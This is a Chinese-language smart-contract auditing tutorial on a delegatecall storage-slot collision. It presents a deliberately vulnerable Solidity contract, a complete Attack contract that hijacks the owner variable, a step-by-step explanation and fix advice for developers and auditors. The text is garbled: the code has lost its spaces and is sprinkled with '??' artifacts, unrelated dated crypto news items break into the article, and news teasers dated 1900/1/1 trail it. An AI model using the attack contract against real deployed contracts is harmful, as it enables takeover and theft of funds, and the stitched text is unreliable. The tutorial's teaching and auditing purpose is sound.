上篇文章中我們了解了什么是delegatecall函數以及一個基礎的漏洞,這篇文章的目的是加深一下大家對delegatecall的印象并帶大家一起去玩點刺激的,拿下一個進階版的漏洞合約。
這里就不再重復之前的基礎知識了,不了解或者遺忘的可以再看看上一篇文章:《智能合約安全審計入門篇——delegatecall(1)》。
漏洞示例
contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}
報告:到2032年,全球食品和飲料NFT市場規模將超過20億美元:金色財經報道,Research and Market 的一份報告預測,到 2032 年,全球食品和飲料 NFT 市場將超過 20 億美元。報告稱,增長的關鍵支撐因素包括區塊鏈的采用以及食品行業對 NFT 透明度和可追溯性的需求。獨特的所有權機會、在虛擬現實和視頻游戲中使用 NFT以及食品公司和餐館的促銷和廣告是預計在預測期內推動市場的其他因素。在該行業內,必勝客和棒約翰等品牌在發布 NFT 系列后已經開始涉足該領域。[2023/8/3 16:15:13]
漏洞分析
這次的攻擊目標依然是獲得HackMe合約中的?owner?權限,我們可以看到兩個合約中除了HackMe合約中的構造函數可以修改合約的?owner?其他地方并沒有修改?owner?的函數。我們要如何完成攻擊呢?這里需要一點小技巧,大家可以思考一下,剛好也可以驗證一下自己對于之前知識的掌握程度以及自己的思維是否活躍。
The Sandbox宣布即將發布戈登-拉姆塞\"地獄廚房\"阿凡達系列NFT:金色財經報道,NFT 游戲平臺The Sandbox宣布即將發布戈登-拉姆塞\"地獄廚房\"阿凡達系列NFT。該系列包含 2,333 個頭像,其外觀靈感來自這位著名廚師本人。這些頭像讓粉絲們能夠以時尚的方式展示他們對 Ramsay 和 The Sandbox 的熱愛。此外,The Sandbox 將于 3 月 14 日發布該系列。[2023/3/10 12:53:11]
是否有想法呢?沒有想法也沒關系,我們一起來看攻擊是如何完成的:
攻擊合約
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}
Cosmos通過建立資助計劃ATOM Accelerator DAO的提案:2月13日消息,Cosmos 通過建立 ATOM Accelerator DAO 并提供 58.8 萬枚 ATOM 資助的提案,該提案建立成立 ATOM Accelerator DAO 并用于資助提供有價值的開源代碼、公共產品以及生態發展計劃。提案顯示,成立 ATOM Accelerator DAO 將減輕公共治理負擔并提高資金靈活性。[2023/2/13 12:04:26]
我們先看攻擊流程:
1.Alice部署Lib合約;
2.Alice部署HackMe合約并在構造函數中傳入Lib合約的地址;
3.攻擊者Eve部署Attack合約并在構造函數中傳入HackMe合約的地址;
Web3游戲NFT市場Fractal已上線以太坊:11月2日消息,由Twitch聯合創始人Justin Kan于2021年12月推出的Web3游戲NFT市場Fractal已上線以太坊,包括Fractal錢包、SDK、Launchpad和交易市場,后續也將上線其他EVM兼容鏈,主要考慮因素包括流動性、社區和網絡速度。
此前報道,今年4月,Fractal完成3500萬美元種子輪融資,Paradigm和Multicoin Capital領投。[2022/11/2 12:09:19]
4.攻擊者調用Attack.attack()函數將HackMe合約中的owner變為自己。
咋回事兒呢?其實這個攻擊方式就是很巧妙的運用了delegatecall這個函數修改storage類型變量時的特征:delegatecall函數的執行環境是調用者的環境并且對于storage類型變量的修改是根據被調用合約變量存儲的插槽位置來修改的。
DeFi初創公司Stakefair完成67萬美元pre-seed輪融資:7月13日消息,DeFi初創公司Stakefair宣布完成67萬美元pre-seed輪融資,本輪融資由Adaverse、Nestcoin、Kepple Africa Ventures、Canza Finance、Voltron Capital、Echo VC Chain、Timi Aboyeji、Tomiwa Olaosebikan、Peter Kisadha、Saturn Blockchain Ventures、Thrive Africa Syndicate、NehikhareIgbinijesu、Oluchi Enebeli和Clement Hugbo等參投。[2022/7/13 2:11:09]
1.Attack.attack()函數先將自己的地址轉換為uint256類型第一次調用HackMe.doSomething()函數;
2.HackMe.doSomething()函數使用delegatecall函數帶著傳入的Attack合約的地址調用了Lib.doSomething()函數;
3.可以看到Lib.doSomething()函數將合約中存儲位置為slot0的參數改為傳入的值,這樣當HackMe合約使用delegatecall調用Lib.doSomething()函數時也將改變自己在slot0位置存儲的變量的值,也就是將lib參數改為我們傳入的Attack合約的地址。此時之前在HackMe.lib參數中存儲的Lib合約的地址就被修改成我們傳入的Attack合約的地址了;
4.Attack.attack()函數再次調用HackMe.doSomething()函數,由于在上一步我們已經將HackMe.lib變量修改為Attack合約的地址了,這時HackMe.doSomething()函數將不再調用之前的Lib合約而是用delegatecall去調用Attack.doSomething()函數。此時我們再來觀察Attack合約的寫法,發現其變量的存儲位置故意和HackMe合約保持一致,并且不難發現Attack.doSomething()函數的內容也被攻擊者寫為owner=msg.sender,這個操作修改了合約中存儲位置為slot1的變量。所以HackMe合約使用delegatecall調用Attack.doSomething()函數就會將合約中存儲位置為slot1的變量owner修改為msg.sender也就是Eve的地址,至此攻擊者完成了他的攻擊。
修復建議
作為開發者
1.?在使用delegatecall時應注意被調用合約的地址不能是可控的;
2.?在較為復雜的合約環境下需要注意變量的聲明順序以及存儲位置。因為使用delegatecall進行外部調用時會根據被調用合約的數據結構來修改本合約相應slot中存儲的數據,當數據結構發生變化時這可能會造成非預期的變量覆蓋。
作為審計者
1.在審計過程中遇到合約中有使用delegatecall時需要注意被調用的合約地址是否可控;
2.當被調用合約中的函數存在修改storage變量的情況時需要注意變量存儲插槽的位置,避免由于數據結構不一致而導致本合約中存儲的storage變量被錯誤的覆蓋。
來源:金色財經
來源:華泰證券 元宇宙應用對硬件提出更清晰的需求,將推動人機交互逐步升級我們認為VR/AR/腦機接口是集合了微顯示、傳感器、芯片和算法等多項技術在內的下一代人機交互平臺.
1900/1/1 0:00:00DeFi數據 1.DeFi代幣總市值:394.01億美元DeFi總市值數據來源:coingecko2.過去24小時去中心化交易所的交易量:41.
1900/1/1 0:00:00本輪熊市的開啟,可以說是LUNA的黑天鵝事件,導致市場上幣種暴跌,機構暴雷,一系列的反應。作為吃到美元“放水”紅利的加密市場就沒消停過:先是Luna的400億美元金融帝國崩塌;然后ETH2.0全.
1900/1/1 0:00:00就在一個多月前,QQS元宇宙項目開始了為期2個月的預售,每日預購順利售完。但QQS到底是什么來頭,為什么大家天天搶購QQT預售幣?讓我們在本文中深入探討.
1900/1/1 0:00:00市場消息 美股今日凌晨大幅收跌,道指跌490點,納指重挫3%,標普500指數重新跌回熊市。今日凌晨,美股三大股指又齊齊下跌,道指跌491.27點,跌幅為1.56%;納指跌343.01點,跌幅為2.
1900/1/1 0:00:00根據《經濟學人》最近進行的一項研究顯示,36.6%的受訪者希望比特幣或其他加密資產合法化,43.5%的受訪者對此持中立態度,僅17.9%的受訪者表示不同意此舉.
1900/1/1 0:00:00